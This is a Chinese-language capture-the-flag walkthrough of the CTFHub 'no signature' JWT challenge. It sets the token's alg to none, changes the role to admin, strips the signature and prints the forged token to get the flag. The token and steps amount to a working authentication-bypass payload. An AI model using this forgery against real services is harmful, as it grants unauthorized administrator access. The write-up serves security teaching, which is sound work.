文章总结: 本文档为CTFHubJWT无签名漏洞实战教程,核心原理是JWT支持none算法,当Header中alg字段设为none时,服务器跳过签名验证。攻击者可篡改Payload内容并置空签名,伪造管理员身份获取flag。实战步骤包括截获token、修改alg为none、将role改为admin、移除签名部分后重新发送请求。该漏洞利用简单,需注意JWT库对none算法的支持。 综合评分: 84 文章分类: WEB安全,漏洞分析,实战经验
CTFHub:第八十三关——JSON Web Token——无签名
原创
君陌社区 君陌社区
君陌社区渗透安全笔记
2026年7月12日 20:00 江苏
在小说阅读器读本章
去阅读
CTFHub网址:【https://www.ctfhub.com/#/index】
登录账号 点击技能树
选择“web进阶- JSON Web Token-无签名”开启题目
题目描述: 一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag
漏洞原理: JWT支持none算法,当Header中指定alg为none时,服务器会跳过签名校验,攻击者因此可篡改Payload内容并置空签名,从而伪造任意身份(如管理员)登录。
单击打开链接进入靶场实战练习环境,页面为一个登陆界面
输入用户名admin和随机的密码之后登录,页面显示“Hello admin(guest), only admin can get flag.”意思是只有管理员才能得到flag数据
重新登陆并用Yakit工具截获数据包,服务器的response包含token值,其中Header中明文数据为{“typ”:”JWT”,”alg”:”HS256″},本关卡为无签名,意味着alg需要设置为none,这代表需要改为{“typ”:”JWT”,”alg”:”none”}
下一个数据包中Payload明文内容为{“username”:”admin”,”password”:”123456″,”role”:”guest”},页面提示只有admin能获取flag,说明role角色应该为admin,这表示应该改为{“username”:”admin”,”password”:”ljn”,”role”:”admin”}
使用jwt解密网站解析,完整如下所示
{ "typ":"JWT", "alg":"none"}
加密为
ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0=
{ "username":"admin", "password":"123456", "role":"admin"}
加密为
ewogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogIjEyMzQ1NiIsCiAgInJvbGUiOiAiYWRtaW4iCn0=
由于使用无签名算法,所以Signature为空,将其移除。然后使用.将Header、Payload拼接起来,得到新的JWT token
ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0=.ewogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogIjEyMzQ1NiIsCiAgInJvbGUiOiAiYWRtaW4iCn0=.
利用此token构建新的数据包并发送,返回的数据中得到flag数据
上传flag数据完成靶场实战练习
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:君陌社区渗透安全笔记 君陌社区 君陌社区《CTFHub:第八十三关——JSON Web Token——无签名》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论